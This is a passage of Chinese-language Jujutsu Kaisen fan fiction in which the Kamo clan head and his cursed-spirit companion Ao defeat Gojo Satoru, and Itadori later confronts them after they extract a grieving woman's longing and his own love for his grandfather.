“可即便是这样,真人那个家伙也要比我更惨,”似是想到了什么,手臂中的魂体打了个寒颤,与此同时,一种微妙的幸灾乐祸之感也从他的意识中生出:“我只是被榨空了,而他却是被分裂了,分出了不知道多少个自己,每一个的他的结尾都悲惨无比。谁也没想到,他的那项能力还能这样用,被研究还真是……恰到好处的合适啊。”如果他有脸色,一定非常难看。在这之前,他也从没想到这一点。 没有见到加茂月行与苍,他也没有一点放松。虽然只是短短一年时间的相处,但没有一个人比他更了解那个男人从他那里学到了多少东西,那匪夷所思的接纳程度让他后来每每想到,心中就惊起一股冷汗。如果任何一个人,还只以为他们中危险的只是苍的话,就一定会被狠狠教做人的。 他抬“头”感受了一下方向,想了想,决定去与那两个咒灵相聚合作。真人已经没有了,但他也算带过去了一点残渣,之后还想要做什么,也可以从它们那里入手。 五条悟就是如手臂所想的那般第一个体会到这一点的人。他与苍在三层的领域中交战了许久,战到最后,他甚至都能习惯那种混杂纷涌的过多的情绪了,在能将人逼疯的如海情感中,他竭力找回了一丁点的理智,他站立在空中,身躯微微佝偻,整张脸也渐渐皱了起来。 他的六眼失去了神采,口中大口大口地呼吸着,手指微动,他看向苍道:“这就是你的战术吗?” 苍依旧并不回答。五条悟相信他是有对话能力的,但从始至终,他都不曾对他开口吐露一言。也不知他是不是不太看得起他。五条悟知道他或许不是两人中的主体,他转向了加茂月行,对方的手指之间还夹杂着那种奇妙的丝线。 五条悟恹恹地垂下眸:“可真是‘卑鄙’啊。这种拖延时间的战术。” 加茂月行清冷地看了他一眼,说道:“能用就行。” 他的手指间每一根丝线都绷得紧紧的,让五条悟看一眼都像是挑起了那些脑海中的情感,他连忙偏移开眼睛。他口中说:“与咒灵同行的事不会再有人追究。你有这样的手段,能与我打至此,咒术界中没有人是你的对手,只要你不真的倒向咒灵,不会有人想不开来找你麻烦的。” “不过也确实。战斗从不看手段,只看最后的结果。”他神色苍白中又隐现忍耐,渐渐的,兴奋重新攀爬到他脸上去,他狂烈道:“来吧,让我们分出最彻底的高下,让你看一看,我这个第一,到底是有多少的分量!” 他再不压抑自己的情绪,用最暴烈的攻势,去绽放最后的咒力—— 领域的黑膜慢慢地褪了下来。司机与众人一齐纷纷看向内里。五长老是第一个窜进去的人。他们没看到什么,只见到最初平坦的土地如今已经变得坑坑洼洼的了,水泥浇成的公路碎裂成了十数截,没有一棵树还保持着站立的样子,大地一片惨淡空旷。 有两个人影站在那里。他们站得有一定距离,其中离他们最近的是五条悟,他是以背背对着他们的,背影依旧是如从前般挺直,一头白发不知为何像是失去了原有的色彩,整个人看上去动也不动,安静异常。 对面的是加茂家的那位新的家主。他看起来就要狼狈的多了。其面色苍白黯淡,衣衫倒是完好,就是那个随时在他身边的咒灵不知去了哪里。他见到他们来,略微抬眼往这里望了一望,五长老一个激灵,赶忙上前,想要查看一番他的状态,并尽可能地将之带离这里。 哪怕为此要动用一番加茂家本就岌岌可危的名声。 而就在这时,他听见了五条悟说话:“很好。” “?”他不明白,其他人也止住了脚步,他们都看向了场中的二人。加茂月行看着五条悟,面上浮现出了他以往就有的笑。 “哪里,”他说:“五条先生你才是很好。”顿了顿,他说:“不愧是最强,第一的名号也是名副其实,在那样的状态下还能坚持到现在,做到这种地步,确实出乎了我的意料。我为我之前的言论为你道歉,无论如何,你的存在,是如今咒术界安稳的重要原因。” “五条悟可以没有咒术界,但咒术界不能没有五条悟。” 第152章 外界的讨论 加茂月行跟着五长老上了车, 司机悄悄地通过后视镜瞧着这位新家主的脸色,他不敢开口说话,眼中闪过敬畏, 似是回忆起了自己之前见到的一切。 长老有些疑惑,斟酌了一会后,他小心地问道:“苍……苍大人呢?” 加茂月行意味不明地看了他一眼, 而后,他看向车窗外。另外的人围向了五条悟, 对方仍直挺挺地站着,没有要搭理任何人的意思。 另一边的车门被打开了。五长老被吓了一跳。苍从外面走了进来, 他的唇边依旧是带着淡淡的笑意,见得久了, 难免会为这种永远不变的神情感到惊恐, 他坐在了加茂月行的身边, 将修长的脖颈暗暗垂下,幽静中带点闲雅。他之前好像是在另一个方向,也不知是不是被打到了那里。 五长老吸了口凉气。他永远无法从心底里接纳这样一个咒灵, 哪怕它表现得再安静无害。因为咒灵的本质就是来源于人类的负面, 二者之间不会有和解的一天的。 汽车被开动了。在车子驶离此地前的最后一秒, 五长老还是按捺不住心中无比的好奇, 他委婉又谨慎地靠近过来,小声问:“对了, 您和五条悟大人之间的……” 别说五长老想问了, 其他的所有人也都对这场对战十分感兴趣。求知欲犹如蚂蚁一般在心中抓挠,即便他们大都认为五条悟是不可能输的, 但其中发生了什么,那个咒灵使出了怎样的手段, 都是他们想知道的。在加茂家的人走后,其中有一个胆大的,终是凑到了五条悟的身边,悄声问道:“悟大人,您和那个加茂家的人的战斗……” 五条悟蓦然笑了起来。他睁着眼睛,一头白发染上了灰,他没有回答这个人的问题,而是径直这样直挺挺地往前面倒去,在倒下前的最后一刻,他口中吐出这样一句话:“那个家伙的咒术,根本不是人能挺过去的……” 好累啊,比他前面生活过的二十九年加起来都要累。终于是结束了,那两个家伙也走了,他含笑闭上了眼睛。 问话的人被吓到尖叫,所有人都惊慌起来,没人能预料到这一幕,在他们心中,五条悟是纵横无敌的,他们甚至没有想过他会有失败的一天。 直到有人发现五条悟只是昏睡了过去,这场骚动才平息了下来。 可所有人都知道,现今那位一人一咒灵,在咒术界中所代表的意义已经截然不同了。 加茂月行在于自己的马甲交流。“我有一个试验品逃了?”他有一些惊讶。 “是哪一个?……不是真人啊,那还好。”他若有所思:“那个叫羂索的咒术师已经从他那里压榨不到多少知识了,纵使是千年前的咒术师,所知晓的东西也终究是有限的。真人的分裂衍生才是没有极限的,只要人类对于自身的憎恶存在一日,他的‘生命’就能够延续一日。而他存在,我就能得到源源不断的咒灵的实验体,这才是有价值的。” “至于后面的剧情?不,其实咒术回战中的剧情根本不重要……”加茂月行这样对艾略特说着:“就算那个叫羂索的再做出些什么,对我们也不会有影响。应该来说,是我们的计划对他们有极大影响才是……” 他们在这里交流着,远在另一座城市中的手臂、哦不,依靠着真人肉|体,重新拓展出一具崭新身体的羂索不禁打了个寒颤,说话的声音也不稳起来。“你怎么了?”特级的咒灵漏瑚疑惑问。 羂索笑容满面:“可能是新长成的身体有些不适应吧,过段时间就好了。”他现在的形体有些可怖,新长成的血肉还没有彻底塑成人形,像是融化的胶水堆砌在一起。 漏瑚没看出什么。他端详了他一会:“那个人和他的那个咒灵真的有那么可怕吗?真人陷在里面,你也落在他的手中,逃出来还是靠遗弃过去的身体。” 羂索冷静道:“不要想去救他,或者说,你们真的要去救真人,不要这样简简单单地去。相信我,那个人和那个咒灵绝对是有问题的。不是其中一个有问题,而是两个都有问题。你们不会是他们对手的。” 漏瑚不相信,他一脸质疑:“不是一个特级咒灵吗,最多再加上一个特级的咒术师,真人或许是失误了,我们这边可是有三个特级,再加上你……” 羂索冷笑起来:“你还是没有见识过差距。我问你,在你看来,五条悟和你是一样的吗?” “那自然是,”漏瑚说:“尽管是一个强大的敌人,但只要我谨慎对待,还是会有胜利的机会的。” 如果是以前,羂索绝对会暗地里嘲笑,然后眼看着这愚蠢的东西亲自撞到铁板上去。可现在不同了,他叹了口气道:“不对,五条悟和其他所有的咒术师都不一样。他是特级,是因为咒术师的顶点只有特级,他的强大是断崖式的,他扭断你脖子,就和你扭断其他咒术师脖子一样轻易。我怀疑,他们就是这样的存在。” 漏瑚忍不住道:“怎么可能,那只是一个原本是支脉的加茂家的人,和一个突然蹦出来的咒灵!” “那你以为,御三家的加茂家是那么好推平的吗?”羂索吼了出来。两人大眼瞪小眼,一时都没有说话。 “如果御三家是一个普通的咒灵和一个咒术师能推翻的,”羂索在静了一会后道:“那你所畅想的那个世界,早就已经实现了。” 这句话安抚住了漏瑚,让他胸膛起伏了几下后,什么话都没说。 他们决定暂且不对加茂家动手,准确来说,没有详细的谋划和预备,他们不会轻易去寻加茂月行的麻烦。真人还是要救的,但不是现在。 其实他们也不用如此争辩,因为之后不久,加茂月行与五条悟那一战的事情也传了出来,那位加茂家家主的战力得到了一次新的更新,而这一次,是将其拉高到了一个遥不可及的地步。 整个咒术界一时为之失声。 高层的人反应得更快,所有明面上对于加茂家的针对一律消失不见,对加茂月行与咒灵之间关系的质疑也偃旗息鼓,派去小山村调查苍的队伍被雪藏,那些暗地里盯着族地外的眼睛俱被清扫,一时间,加茂家好像重新回到了过去巅峰时刻。 本族中的人都有些恍惚,为这种梦幻般的崭新的待遇,他们行走在外面,体会到了一种之前也不曾有过的奇妙的感受。 时间就这样过去了。五条悟没有为自己在那一次战斗后的晕倒做出辩解,在他看来,那次的晕倒本就是失败,加茂月行和那个咒灵的术式和双重领域对人太有针对性,他坚持到那时,已经是极限了。 也不知道加茂月行是如何研究出那等术式的,针对灵魂和情绪,绝不是加茂家本身拥有的。他们传承的是“赤血操术”,那应该是他自己原创出的。这样的术式很难得,五条悟隐隐有一个想法。 他还没有做出什么,他的学生就已经快要炸了。去针对加茂月行是他们搜查后得出的结论,他们原本以为,五条悟只要表达一下自己的观点,加茂月行与咒灵的勾结之举,就一定会受到整个咒术界的排斥与审判……在这期间五条悟根本不用做些什么,只用降临下去警告一番即可。 可谁知,对方竟有着这样实力。他们紧急地开始想办法,加茂宪纪这一他们能接触到的加茂家的人也被他们从另一所京都的学校中请了过来。 “你们说苍大人是与月行大人签订协议,并在这其中欺瞒了他,以此来达成他图谋咒术界的阴谋……”加茂宪纪在听闻了这些话后,第一时间生出的,不是气愤,竟是一种荒谬之意。 他略微思索了番,摇了摇头道:“加茂月行大人不是那等的人。我与他有过几次见面,每一次他给予我的压力,都要比从前的加茂家主要大的多。苍大人通常是不说话的,他经常将自己潜藏在一边,将自己的存在感收缩起来。他们之间的关系……我并不清楚,但我感觉到的,是一种很和谐的、互相包容的紧密的联系。” 五条悟在一旁打了个哈哈,他悠闲的好像晕倒回来的人不是他一样,和他几个学生的紧张形成了鲜明的对比,他不在意道:“他们两个之间的关联应该不是那样的。” “那个人不是能够被欺骗过去的,”他歪了下头,想了下:“说他将其他人玩弄在掌心还差不多。他与那咒灵之间的联系,是能够在战斗中互相托付信任的关联。这与咒灵的本质不符。但既然已经有了,我们就要以新的眼光去看待他们。把你们之前所有的猜测都抛弃吧。甚至是把其中一个的咒灵的身份也忘记,然后再去看待他们。你们会得出新的结论的。” 五条悟提出了一个很新奇的提议。也不知是不是因为一场失败,他最近好像总是在思考些什么,还买了很多国外的书籍来看,走在路上,也时常能见到他沉浸其中。甚至是一改往常的风格,将一个高层派来的挑衅学校的家伙给打成了重伤,让人一时摸不清他的想法。 高层以为他这是受到了那次战斗的影响,但他的学生们却认识到,他的改变远不止如此。 第153章 改变的构思 现今的时间是原著剧情刚刚发展没多久的时间点, 虎杖悠仁他们还没有遇见真人,但他已经吞下去了两面宿傩的手指,接受过了高层的审判。 对于这个咒术界, 这位年轻的高中生还没有一个全面的认知。他还不能真切地体会到五条悟对于所有咒术师的意义,也不能明白,那位加茂家的新家主做出的是多么了不得的事。 五条悟既然那样说了, 他也就那样想了,他沉思了下道:“如果真的抛开他们的身份, 他们还真没有在外面做出过什么不好的事。” 钉崎野蔷薇有气无力地说:“你还真当他杀的那些加茂家的人不是人啊,现在可不是古时战国时代了哦, 处理家臣是内里私人的事。” “如果是那些,”禅院真希这时却忽然开口道:“我只能说, 所有御三家的高层都该死, 那些腐朽的、肮脏的、像是阴暗地底里的虫子般的家伙们……” 她说到这里, 身躯开始剧烈颤抖起来。其余人都不敢打扰她,也不敢继续开口说话。 “砰!”门外有人闯了进来,长发的女子一扫室内的几人, 恹恹的眼神落在一边的五条悟身上, “你的快递。”她将一样东西扔在他身前。是医疗室的家入哨子, 她望着五条悟, 目光凝重了些:“你的身体……” 五条悟赶紧将东西接了过来,他嬉笑着道:“谢了, 硝子, 改天请你吃饭。”他将东西拆开,检查了一遍。 看出了他不想说, 家入硝子轻哼一声道:“你自己心里有数就行。有问题早点来治。”她离开了。 “哇,老师你也喝养生茶啊!”虎杖悠仁有些惊奇:“这东西原来都是我爷爷喝的。” 五条悟清咳了一下, 他道:“最近有些劳累了,都是咒术界的事情太多,用的脑子也多,喝来打打精神。” 虎杖悠仁狐疑:“是吗,是因为老师近些时间看的那些书吗?我在网上查找过,里面的东西我扫过一眼都脑壳疼,我以为老师你看不下去的。” 五条悟揪住他一边的脸:“不要把我的脑子和你的脑子相比,我之前只是不愿看,而不是看不懂!” 其他的人看着他们打打闹闹。有几个敏锐的人意识到了他的变化,这种变化是深层次的,那些书籍也是涉及到了思想上的。他们互相对望一眼,某种预感从他们心中生出,或许,咒术界即将要迎来一场极大的风暴也说不定? 加茂月行从过度深入的睡眠中清醒过来。五条悟的「无量空处」不是没有带给他影响,说五条悟是在坚持,他自己又何尝不是呢?那些毫无用处的信息简直就是在考验他的处理速度与耐心,尤其是他这种只关注于提高自己本身的效率者。 苍安静地端坐在一边。漆黑的卧室内静谧的不可思议,没有一丝杂音,他无声地注视着他,仿佛融入到了这无边的黑暗中,恍若一个暗夜里的幽灵。 加茂月行呼出口气。他从床榻上坐了下来,“你醒了。”有人在他心底里说。 是主体。加茂月行愣了下,回答道:“嗯。我睡了很久吗?” “只是一天。”裴真在另外一边说:“相比较于五条悟,你这里几乎没有损失。” 加茂月行摇了摇头:“可一旦承受不住,我可是有爆头的风险。说起来,本体你也没有经历过马甲死亡吧,不知道那之后,其中你的部分灵魂,是会回到你处,还是会就此消散?” 裴真有些无语:“有些事大可不必经历。不是什么都尝试过的人生才是圆满的,能避开的苦痛还是尽数避开为好。你不必设想这样的事。” “哈哈,”加茂月行笑了起来,他眉目微弯:“我只是随便说说。我知道你不会让这样的事发生的。这也挺好,无论什么时候,有了不同的‘我’,在这个世上,我们都不会感到孤单。” “说起来,”他问:“本体你对于德累斯顿石板的研究如何了?” “还行。”裴真看了一眼自己面前的事物:“算是在有条不紊地进行。” “我现在所在的地方是‘石板之间’,以前国常路大觉都是来这里对石板进行抑制。”石板被置于中间,七道现代化的力量分散仪器如蛛腿般散开,裴真就站在这高科技的仪器前,注视着其中散发光芒的石板。“因为有无色之王的力量,所以我对它的解析很快。黄金之王也没有隐藏他过去的研究,这对我的帮助很大,让我不必一直徘徊在研究的外侧。” “本体你真的不准备再进行一波抽卡吗?”加茂月行有些担忧地问:“那本书带给你的收益,柳生明澈新发布的专辑,还有我这一次给五条悟和咒术界带去的震撼,再加上你之前的巨数的光液,都能够让你再进行一次大型连抽吧?关键还都是[白银]级的,说不定就能给予你现在在做的事以帮助,给我们之后的事也增加些成功率。” 裴真笑了下,他瞥了眼在自己视觉左下方的饱满异常的光液圆球,轻声说:“不,不需如此。我有预感,它们会在之后有用的。比现在抽有用。” 顿了下,他说:“你也可以认为我在赌。赌[黄金],或者别的什么。” “而现在,不知道你们有没有察觉到,其实卡牌装在你们身上,我并不是什么都没有得到的。”他目光沉静:“就像装在风祭野见身上的[枪械精通],我只是稍稍锻炼一番,就能够达到常人百千倍的效果,一些其它的技能,你们使用的越纯熟,我就越有深刻的印象;比如说前段时间你用的最多的[科研狂人·禁忌追寻者]卡,就令我在这段时期中,收获颇丰。” “这样不是更好?”加茂月行的眼一亮,整个人都精神了些:“你掌握的越多,我们的实力就越强,想做的事才越有可能成功。这对我们来说,是一个大大的好事啊!” 裴真微笑起来:“这确实是一件好事。不过,不要说我了,你那边准备得又如何?和五条悟打了一架,咒术界会安静许多吧?” “应该会很安静,”加茂月行说:“不过我一般不处理家族的事物,这些都是最后那一个长老在做的。对于灵魂和情绪的研究也算是有了结果,能对五条悟起影响,这个咒术界中应该也没有多少人能逃脱。只是这样一来,我对于战斗的正面武力还是缺少了些,苍比我要好很多,但他最大的能力也同样只是‘剥夺’,没有刀锋般尖锐的战斗力,这无疑是我们的缺陷。” 裴真叹了口气:“你都能将五条悟‘磨’死,还担忧自己缺乏必要的武力?你是想要和两面宿傩正面比纯粹的战斗力吗?” 加茂月行摇摇头:“不,我对那个过去的恶行的怪物一点都不感兴趣。我也不想知道他之所以会如此的原因,也全然没有一丁点想要拯救他的念头。将拯救放在他身上都让我感到恶心。我完全不想和他战斗。要做的事也与他毫无关系。死亡只会是他唯一的归宿。” “最初是因为‘咒灵是自人类负面情绪中诞生的’这一点,才去研究情绪的刻印与操纵,”加茂月行从床榻上走了下来,穿上鞋子,走到窗边,外面的月亮很圆,皎洁的像是过去故乡中的银盘,“因为想要达成‘黄金成就’,只能就世界根源规则这一点上做手脚。就算那一次我在出神庙外没有遇见咒灵真人,之后我也会特地去寻他一趟的。” 因为在咒术回战的世界中,他的能力是旗帜鲜明能对灵魂产生作用的。而羂索则是在之后夺取了他的这项能力。这给加茂月行提供了灵感与契机。 “知道了咒灵是如何诞生的,才能够有机会反制。”加茂月行说这话的时候,表情淡淡:“若要达成[黄金],我只有两个想法。一,是帮助咒灵,让它们从颓势中占据这个世界,让它们的数量多过人类,将咒术的世界变为那种小说中才有的诡异末世。” 是的,其实从整体的世界观上来说,咒灵才是弱势的一方。别看剧情中人物打得可怜又凄惨,但这个世界终归还是人类的,文明是属于人类的,所以漏瑚才会说,希望日后的咒灵拥有属于自己的光明。 “但我总归是人类,苍则完全不想干这种耗力的事。再加上另外的几个世界也同样是人类世界观的,所以,不必要挑战灭世级的难度。我便选择了二,为人类彻底解决掉咒灵,除掉这个跗骨之痛,这对于咒术回战的世界来说,同样是颠覆了它存在的基础,想来应当是[黄金]级的成果了。” 加茂月行知道本体知道,但他不介意为他再讲解一遍。对于其他人他才懒得这样说,那些没有利用价值的他更是理也不理。他是狡猾的,但也是冷淡果决的。 但咒灵是无法根除的。因为它本是由人类本身而来,过去的特级咒术师夏油杰正是因为认识到了这一点,才在后面慢慢的绝望了。精神过于纯粹的人无法容忍污秽的世界,不愿接纳它,也不愿改变自己,最后只能疯狂地死去——此之谓,“世界之错”。 加茂月行还没有达到能改写世界底层规则的那一步,他若是能做到这一点,也就不用渴求[黄金]了。 第154章 爱与思念 加茂月行虽做不到将咒灵的诞生掐在源头里, 但他可以做到另外一点。在这个马甲还没诞生的时候,本体裴真就已经对这个咒术界的问题有了一个模糊的处理的方式,而之后加茂月行所做的, 都是在为这个方式尝试加码,修改铺垫。 而这个念头的来源灵感……他手中出现了那一缕红色的截断的丝线。 五条悟虽然有了改变,但还只是在一点一点地改换自己的态度。或许他也不知道该如何去给这个咒术界动手术刀, 自加茂月行那一番格外犀利的嘲讽后,他忽然发自内心地对自己失去了信心, 不是实力上的,而是思想上的。 看过了许多国内与国外的著作, 五条悟觉得自己经历了一番洗礼,许多从前思考过的问题都有了答案, 一些从来没想过的问题也被他们提了出来, 他感到自己貌似进入了一个新的境界。 只能说, 对于聪明的人而言,任何时候的学习都不晚。五条悟觉得咒术界还是有点小了,和那些腐朽的烂橘子们待在一起, 连他也沾染上了他们腐烂的味道。 羂索开始犹豫自己还要不要去收集两面宿傩的手指。这个时代太妖异了, 五条悟的存在本就已经拉高了咒术界的上限, 现在又出了一个情况不明的加茂家的家主, 那一战的结果他也听闻了,说什么的都有, 还有说他将五条悟暴打了一顿的, 就算两面宿傩真的重新出现,他确定能够夺得这个咒术世界的主导权吗? 漏瑚与花御倒是没想那么多, 被警告过后,他们的注意力就全部放在咒术高专上去了, 虎杖悠仁是容器,他们要确保容器失去最强的看管。 咒术界恢复了平静,但在暗地里,又是有数道的暗流在涌动。各方各面,都好像是在为接下来的一些事蓄势,就连一些在野的咒术师与诅咒师,也好似感受到了一股风雨欲来的味道。 在这期间,咒术高专的学生们经历了一系列与咒灵们交战的事宜,获得了许多的成长,连其中最大条的虎杖悠仁,也在之后变得沉稳了不少,有了一种让人放心的气质。 他其实不喜欢战斗,但喜欢与这些同伴们在一起的时光。在过去还是普通人的时候,他其实并没有能称得上挚友的好友,爷爷死去后,他在这世上就是孤独一人了,吞下两面宿傩的手指时,他是真的要用自己的命去赌一把的。这个世界并不好,但他希望它能变得更好。 又是一日闲时,他去看望自己的爷爷,在路上的时候,他见到了一个奇怪的人。 那是一个穿着日常休闲服饰的青年,他面容清俊,发丝乌黑,双眸狭长中内如点漆,身边跟着一个一身白的束眼的怪人,纵使是微微笑着的,也能看出这两人来历不凡。就是这样的两人,却是站在一位普普通通的老妇人身边的。 老妇人正在向他们叙说着自己闺女的事,“彩子啊,她真的是一个很努力的孩子,从小的时候开始,我们就没能给予她多少的帮助,她自小就争气,在学校的时候,成绩永远是班级里的第一名,老师们总夸她,说就没见过这样聪明又漂亮的小孩子……” 她一边说着,眼泪就流了出来,看着面前冰冷石板上贴着的那寸许的照片,抹了抹泪:“长大以后就更了不起了,又辛苦又懂事,最后考进了稻田的大学,还不需要我们担心。每隔一段时间还会给我们打来电话,关心我们的身体,让我们不要太忧虑。” “就是这样的她,这样的她……怎么就去了呢?”衣装得体的老妇人不由伸出手,摸了摸冰冷的石碑,面色苍白中带着悲凄,哀叹到语言支离破碎。 青年叹息了一声:“你们的感情真好。不过,您还请保重身体,想来您的女儿也不希望见到您因为她而伤心过度。” 虎杖悠仁知道她,这是姥山家的奶奶,前些年失去了唯一的女儿,每年的这个时间段都会来看望她,是一位很仁慈的优雅的老太太。 他准备找个时分去安慰她一下,让她不至于出什么事故。可就在这时,他见到那个陌生的青年在说话间,手指间闪动着某种细碎的东西,像是一根丝线,而另一头——则是连在了姥山老奶奶的身上! 他的目光瞬间瞪大了,立刻就要上前。而就在这时,他身后的那个白衣的怪人往前踏出一步,仿若无意般地抬头看了他一眼。他被震慑在原地,一动也不能动。 随后,青年收回了手,金色的丝线被他收起,他笑着看了虎杖悠仁一下,与老夫人告别后,便离开了。 虎杖悠仁不肯放弃,见到老夫人似乎没什么异样,他立时迅速跟了上去,跟到一处公园里之后,他跳到那一人一咒灵……是的,在其震慑他的瞬间,他认出了这东西的身份,他跳到两者身前,死死地盯着他们道:“你们从姥山奶奶身上拿走了什么东西?把它还回去!” 青年略微思索了下,不知是出于何因,他还是回答了他:“‘思念’,我从她身上拿走的是她对她女儿的‘思念’。” 虎杖悠仁不可置信:“这东西也能拿走……不对,你们赶紧将它放回去!”他的目光偏向一边的咒灵:“还有,你知道它是什么吗,为什么会和它在一起?” 青年笑了起来:“这应当与你无关吧?” 虎杖悠仁:“怎么可能没关系,拿走了一样情感,人怎么可能不受影响,没有了‘思念’,她不就是缺少了一部分吗?” “不是的哦,”青年说:“她的‘思念’过多了,我拿取了它,并非是断掉了根源,在日后,它还会重新从心底里生出来。我攫取的是情绪,而非记忆亦或是灵魂中诞生这些的一部分。” 虎杖悠仁有些紧张起来,虽然听不大懂,但很明显说出这些词汇的青年人看上去不是一般的人,他思考了下,努力支吾着说:“谁知道你说的是不是真的?还有,这样就能乱拿别人的东西了吗,你要用它们来做什么?” 说完,他又看向苍,目中透着怀疑。 青年再次微笑起来:“你是五条悟的学生吧,他知道你遇到事就这样莽撞地跟上来吗?他没有教导你要如何判断敌人吗?” 虎杖悠仁一惊:“你认识五条老师……” 青年打量着他,神情蕴含深意:“你知道我为什么会和你说这些吗?” 虎杖悠仁心中忽然浮出了不好的预感。他刚想要冲着这人打出自己新学的一拳,一道白色的身影就忽的飘到了自己的身后,冰冷的气息笼罩在他的脖颈边,他感到自己被制住了。 太快了,那咒灵到底是什么等级的,为什么会这么听他的话……话说,这个疑问是不是有些熟悉?虎杖悠仁模模糊糊地想到。 青年伸出了手,放在他心口前一段距离。 “我之所以会容忍你跟上来,是因为我也见到了你的情感。你的感情中,同样有我想要的。” 虎杖悠仁双手被缚在身后,他睁大眼,就这样瞧着自己的身前汇聚出了一些光的丝缕,脑海中突然出现一抹深刻的身影,他好似意识到了什么。 青年的手指微动,他十分缓慢地说道:“很少有人的情感能够达到资格。这世上大多数人都是野兽,他们一方面自己诞生出了大量的负面情绪,另一方面又去伤害他人,以此诞生出第二波的负面情绪,这也是为何咒灵会如此数量众多的原因。他们更像是进化还未完成,徒具人形的东西。” 更多的丝缕出现,虎杖悠仁忽然大幅度挣扎起来,他奋力道:“住手,你要把我和爷爷的……”他噤了声,因为身后的咒灵止住了他,令其不能发出清晰的声音。 青年不在意地继续说:“我更愿意将能够产生出很多正面情绪的人称之为人,哪怕是一时的善心,也能够令其变得特别起来。人类从数百万年前进化到现在,可不是为了依旧茹毛饮血地生存。新的时代,是精神文明的时期。” 他的手指一勾,丝缕汇聚,一条发光的丝线就这样勾勒而出,“真挚、纯粹、深厚,真是漂亮的感情。看来你很爱你的爷爷呢。” 说这话的时候,他的面上还带着满意的笑,像是这是什么很平常的事。虎杖悠仁胸中满是被篡夺的汹涌的怒火,一种感情上被冒犯的盛怒令他想要将这人打成扁饼,他目眦尽裂,奋不顾身地挣扎着,但依旧没法逃离身后的束缚。 很快,他的后颈就遭受了重重的一击。在他最后的视野中,他留有最深的印象是,那个青年收敛了面上全部的笑,他就这样看着他,面上平静无波,眼中是一种居高临下的冷漠。他极力想要保持清醒,但最终,还是陷入到了无限的黑暗中去。 虎杖悠仁做了一个悠长的梦,在梦中,他好像见到了自己一直想见,对方却始终不肯出现的人。“悠仁啊,要做一个有价值的人……”熟悉的声音在他耳边回响。 “要在众人的簇拥下死去……”苍老的嗓音如此嘱咐道。虎杖悠仁想要寻出这个声音的来源,但四周都是黑暗,他奋力地奔走,妄图撕裂这片无边的黑色。最终,他终于找到了,对方正站在后方的光明里,静静地看着他。 第155章 世界的问题 “爷爷!”虎杖悠仁大喊一声, 猛地从床铺上坐了起来,他有些懵逼地看着熟悉的房间景象,一张大脸从旁边凑了过来。 “你醒了啊。”五条悟摸了摸下巴, 上下打量着他,露出若有所思的神情。 虎杖悠仁有些茫然,他的记忆依旧还停留在梦中, 梦里面,他见到了久违的爷爷, 他一直在看着自己,似乎想要和他说些什么。他就赶紧去追, 可爷爷的身影却忽然往后飘动,一眨眼间便消失不见。他又一次体会到了当初在医院中送走爷爷时的焦急与悲痛。 “感觉怎么样?”五条悟很仔细地问他:“一出门去居然遇见了那个家伙, 他打电话来叫我接你的时候, 我还以为是我听错了呢!” “五条老师!”虎杖悠仁赶紧道:“我遇到了一个人, 他说他能把人的感情从身体里抽出来,不知道他想做什么,你赶紧去制止他……” “啊, 我没有说吗?”五条悟有些疑惑。 “什么?”虎杖悠仁才是更迷惑的。他读不懂他的反应。 “我之前交手过的那次战斗, 那个人的手段, 就是能在人的灵魂上刻印和操纵不属于他的情绪, ”五条悟回想起来:“我还是第一次体会到自卑的感情,真是很有意思。” 虎杖悠仁神情凝滞住了, 半分多钟后, 他才突然大声“哦”了一声,他一脸震惊道:“老师你的意思是说, 我遇见的那个人……” “就是你们之前一直在讨论的加茂家的家主哦。”五条悟竖起一根手指,摇了摇, 笑着道:“我记得他的名字好像是,加茂月行。嗯,一个平平无奇的名字。” 门外有人推开门走了进来,是钉崎野蔷薇和禅院真希。 “这家伙一出门去就遇见反派大BOSS啦,”钉崎野蔷薇面上露出嫌弃道:“虎杖你还真是像那种少年漫里的男主角,热血善良,身体素质超强,还老是与那些极端危险的人牵扯上联系。” “哈哈哈哈哈,”五条悟立刻就笑了起来:“虎杖怎么可能是男主角,要说是也应该我是,看看我这英俊帅气的男主脸……” 禅院真希推了推眼镜:“老师你太强了,影响了剧情平衡,一般在故事里都是要被刀掉的,否则男主角成长不起来。你大概是那种在回忆里给他无限激励的角色吧。” 五条悟立刻就垮掉:“怎么可能,我可是最强……” 虎杖悠仁忍不住大喊起来:“你们没听到我说的吗?他拿走了人的情感!就算他是加茂家的家主,也不能、也不能……”他攒紧了手,咬牙。 “然后呢?”五条悟的声音忽然很平静。虎杖悠仁茫然地抬头看他。 “你对你爷爷的爱减少了半分吗?”他问。 “怎么可能?”虎杖悠仁愤怒起来,他怒视着他道:“我不可能忘了我爷爷!” “那就是了。”五条悟此时却是很透彻的模样:“这个世界本就是如此,负面的情绪诞生出了咒灵,你看那些普通的人,他们有受到影响吗?你不知道他要去做什么,我也不知道,但最起码,他没有直接将那个人的灵魂拿出来,然后用它们专程去生产情绪。” 钉崎野蔷薇黑线:“老师,那就是个恐怖故事了。” 禅院真希叹了口气:“人总是会对强大者的要求少很多。先前我们还猜想他和他身边的那个咒灵是什么关系呢,现在不仍是没办法吗?” 五条悟露出思索的神情,他两根手指捏住自己下巴:“还是很奇怪啊,明明是一个小乡村里出来的咒灵,为什么感觉他们之间的关联比任何人都紧密呢?” 钉崎野蔷薇是真的无语了:“明明老师你在那段时间中还告诉我们不要再用看待咒灵的眼光去看待他们……就当是另一个乙骨学长好了,其实和咒灵待在一起的也不是只有他一个人。” 禅院真希叹了口气:“学长是特例,他的情况太过巧合。我们之所以觉得他没事,是因为我们和他相处过一段时间,了解他,知道里香与他之间是出于感情不会背叛他。而那位加茂家主,我们对他一点也不了解,换做他是其它的任何身份,我们也一样会从一开始就怀疑他。这是出自对稳定的考虑。而那个咒灵,它是诞生于人对寿尽的恐惧,和对他人生命的贪婪。它吞噬过人,本身就不是好的,又怎么会导致好的结果?” 五条悟笑了起来:“不理解吗?不理解就对了!”他说:“能够被理解的人也没办法打败我。他可能有自己的技巧吧。” “还真是轻描淡写地就将这疑问略过去了啊!”两女脸上一致出现了类似的颜艺表情。 “对了,虎杖你的感觉怎么样?”五条悟转头就问病床上的另一个学生:“被一手掏走了‘爱’,这种经历可没人拥有过,体验如何?” 虎杖悠仁沉默了下,“有一瞬间很空,像是过去的那些记忆离得我很远,但是,当老师你提起我爷爷的时候,那些曾经又立刻涌上我的心头,我、我又想念我爷爷了……” “那不就是还行么。”五条悟笑眯眯地说,他的眼睛藏在两片圆圆的镜片后,无人能瞧见其中的深思。 ===== 